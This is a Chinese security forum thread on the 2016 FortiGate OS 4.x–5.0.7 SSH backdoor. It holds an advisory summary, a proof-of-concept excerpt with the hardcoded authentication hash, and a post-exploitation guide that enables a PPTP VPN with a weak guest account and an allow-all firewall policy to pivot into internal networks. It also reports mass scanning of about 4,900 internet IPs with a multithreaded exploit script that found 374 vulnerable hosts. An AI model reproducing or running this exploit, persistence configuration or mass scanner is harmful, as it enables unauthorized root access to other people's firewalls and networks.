发新话题
打印

FortiGate OS(飞塔系统) 4.0-5.0.7 SSH 后门

FortiGate OS(飞塔系统) 4.0-5.0.7 SSH 后门

漏洞编号:SSV-90378披露/发现时间:2016-01-12提交时间:2016-01-12漏洞等级:



漏洞类别:后门

CVE-ID:补充
CNNVD-ID:补充
CNVD-ID:补充
漏洞作者:未知提交者:Root


ZoomEye Dork:FortiGate影响组件:FortiGate(4.0<version<5.0.7)漏洞概要FortiGate(飞塔防火墙)采用 ASIC 加速的 UTM 解决方案,可以有效地防御网 络层和内容层的攻击。FortiGate 解决方案能够发现和消除多层的攻击,比如病 毒、蠕虫、入侵、以及 Web 恶意内容等等实时的应用,而不会导致网络性能下降。
北京时间 2016 年 1 月 12 日凌晨四点钟,国外安全研究员在 twiter 上爆料 FortiGate 防火墙存在一个后门,攻击者可以通过这个后门直接获取防火墙控制 权限。

漏洞详情贡献者 Root 共获得  0KB

漏洞概述FortiGate(飞塔防火墙)采用 ASIC 加速的 UTM 解决方案,可以有效地防御网 络层和内容层的攻击。FortiGate 解决方案能够发现和消除多层的攻击,比如病 毒、蠕虫、入侵、以及 Web 恶意内容等等实时的应用,而不会导致网络性能下降。
北京时间 2016 年 1 月 12 日凌晨四点钟,国外安全研究员在 twiter 上爆料 FortiGate 防火墙存在一个后门,攻击者可以通过这个后门直接获取防火墙控制 权限。
官方发布公告http://blog.fortinet.com/post/brief-statement-regarding-issues-found-with-fortios称不是后门,而是管理认证的问题,建议用户升级。
漏洞效果使用后门帐号,可以直接获取防火墙系统的 root 权限。
影响范围在漏洞爆发的第一时间,知道创宇漏洞情报团队在 ZoomEye 网络空间搜索引擎 上发现全球有约 6.5 万个 FortiGate 防火墙。
在ZoomEye 中我们可以看到,全球使用该防火墙最多的国家分别为美国(13633)、印度(7833)、中国(3957)、日本(2937)、韩国(2790)。
参考连接原文:https://www.sebug.net/vuldb/ssvid-90378

[ 本帖最后由 linda 于 2016-2-29 17:23 编辑 ]

TOP

SSH Backdoor for FortiGate OS Version 4.x up to 5.0.7(POC/脚本)

原文:http://seclists.org/fulldisclosure/2016/Jan/26

From: <operator8203 () runbox com>
Date: Sat, 09 Jan 2016 14:48:01 -0500 (EST)
。。。


# Usage: ./fgt_ssh_backdoor.py <target-ip>

。。。
def custom_handler(title, instructions, prompt_list):
    n = prompt_list[0][0]
    m = hashlib.sha1()
    m.update('\x00' * 12)
    m.update(n + 'FGTAbc11*xy+Qqz27')
    m.update('\xA3\x88\xBA\x2E\x42\x4C\xB0\x4A\x53\x79\x30\xC1\x31\x07\xCC\x3F\xA1\x32\x90\x29\xA9\x81\x5B\x70')
    h = 'AK1' + base64.b64encode('\x00' * 12 + m.digest())
    return [h]


def main():
  
。。。

TOP

TOP

飞塔SSH后门 进一步利用方法

昨天FortiGate爆了一个SSH Backdoor ,具体内容可以看这(http://tools.pwn.ren/2016/01/12/ssh-backdoor-for-fortigate-os-version-4-up-to-5-0-7.html)
那我们如何利用了?如何利用这个SSH 后门进入到内网了?好了这就是这篇文章要讲的东西。
这个后门获取到的是防火墙的root权限,就是所有防火墙的操作我们都可以做,这里我们利用防火墙的
vpn服务来进入到内网中 ,从而进行进一步渗透。
0X00 先看下用户组












Default



1



show user group




0x01开启vpn












Default



1


2


3


4


5


6


7


8


9


10


11


12


13


14


15


16


17


18


19


20


21


22


23


24


25


26


27


28


29



config vpn pptp
set status enable
set eip
192.168.200.100

set sip
192.168.200.1

set usrgrp Guest-group
end
config user local
edit
"guest"

set type password
set passwd
123456

next
end
config user group
edit
"Guest-group"

set profile
"unfiltered"

set member
"guest"

next
end
config firewall policy
edit
9

set srcintf
"wan1"

set dstintf
"internal"

set srcaddr
"all"

set dstaddr
"all"

set action accept
set schedule
"always"

set service
"ANY"

next
end




0x02 内网进一步渗透
查看路由表












Default



1



get router info routing-table all




这里已经成功连接上,并使用nmap扫描,这里记得你是防火墙root,所以你想去哪就去哪(蒙多)



【via@安全工具箱 Audit0r

TOP

飞塔SSH后门 4900台机器样本测试报告

测试逻过程1. Censys拉取数据通过censys拉去了50页面的结果
通过
    • 443.https.tls.certificate.parsed.subject.organizational_unit:
      FortiGate
关键字
使用官方的api进行拉取,脚本如下:
    • import sys
    • import json
    • import requests
    • API_URL =
      "https://www.censys.io/api/v1"
    • UID =
      "0"
    • SECRET =
      "0"
    • def
      get
      (page):
    •     data =
      {

    • "query":"443.https.tls.certificate.parsed.subject.organizational_unit: FortiGate",

    • "page":int(page),

    • "fields":["ip"]

    • }
    •     res = requests.post(API_URL +
      "/search/ipv4", data=json.dumps(data), auth=(UID, SECRET)).text

    • #print res
    •     results = json.loads(res)

    • for result in results["results"]:

    • print
      "%s"
      %
      (result["ip"])
    • for i in range(1,50):

    • get
      (i)
2. 筛选出开放22端口的ip原始数据长度:
    • [root@xunzh 8]# cat ip.txt |wc

    • 4900
      4900
      74466
    • [root@xunzh 8]#
通过zmap进行数据筛选
    • zmap -p 22
      --whitelist-file ip.txt -o out.txt
最终剩下
    • [root@xunzh 8]# cat out.txt |wc

    • 1150
      1150
      16323
3. 对其进行扫描通过修改原始测试脚本进行测试,添加多线程模块
    • #!/usr/bin/env python
    • # SSH Backdoor for FortiGate OS Version 4.x up to 5.0.7
    • # Usage: ./fgt_ssh_backdoor.py <target-ip>
    • import threading
    • import
      Queue
    • import socket
    • import
      select
    • import sys
    • import paramiko
    • from paramiko.py3compat import u
    • import base64
    • import hashlib
    • import termios
    • import tty
    • def custom_handler(title, instructions, prompt_list):
    •     n = prompt_list[0][0]
    •     m = hashlib.sha1()
    •     m.update('\x00'
      *
      12)
    •     m.update(n +
      'FGTAbc11*xy+Qqz27')
    •     m.update('\xA3\x88\xBA\x2E\x42\x4C\xB0\x4A\x53\x79\x30\xC1\x31\x07\xCC\x3F\xA1\x32\x90\x29\xA9\x81\x5B\x70')
    •     h =
      'AK1'
      + base64.b64encode('\x00'
      *
      12
      + m.digest())

    • return
      [h]
    • def main(ip):
    •     client = paramiko.SSHClient()
    •     client.set_missing_host_key_policy(paramiko.AutoAddPolicy())

    • try:
    •         client.connect(ip, username='', allow_agent=False, look_for_keys=False)

    • except paramiko.ssh_exception.SSHException:

    • pass
    •     trans = client.get_transport()

    • try:
    •         trans.auth_password(username='Fortimanager_Access', password='',
      event
      =None, fallback=True)

    • except paramiko.ssh_exception.AuthenticationException:

    • pass
    •     trans.auth_interactive(username='Fortimanager_Access', handler=custom_handler)
    •     chan = client.invoke_shell()
    •     oldtty = termios.tcgetattr(sys.stdin)

    • try:
    •         tty.setraw(sys.stdin.fileno())
    •         tty.setcbreak(sys.stdin.fileno())
    •         chan.settimeout(0.0)

    • while
      True:
    •             r, w, e =
      select
      .select([chan, sys.stdin],
      [],
      [])

    • if chan in r:

    • try:
    •                     x = u(chan.recv(1024))

    • if len(x)
      ==
      0:
    •                         sys.stdout.write('\r\n*** EOF\r\n')

    • break

    • print ip+" ok \n"

    • break

    • except socket.timeout:

    • pass

    • finally:
    •         termios.tcsetattr(sys.stdin, termios.TCSADRAIN, oldtty)
    • ips=open(sys.argv[1]).read().replace('\r','').split('\n')
    • q=Queue.Queue()
    • for i in ips:
    •     q.put(ips)
    • class mm(threading.Thread):

    • def __init__(self,queue):
    •         threading.Thread.__init__(self)

    • self
      .q=queue

    • def run(self):

    • while
      True:
    •             line=self.q.get()

    • try:
    •                 main(line)

    • except:

    • pass
    • for i in xrange(10):
    •     mm(q).start()
使用方法:
    • python scan.py input.txt
4. 总结扫描结果是存在374台漏洞机器,大约站了原始数据的13分之一1,如果按照这个数量来计算,全网大约有5000台以上机器收到影响,将漏洞主机标注在地图上,结果大致如下:

来自为知笔记(Wiz)
转载请注明:安全工具箱 » 飞塔SSH后门 4900台机器样本测试报告

TOP

发新话题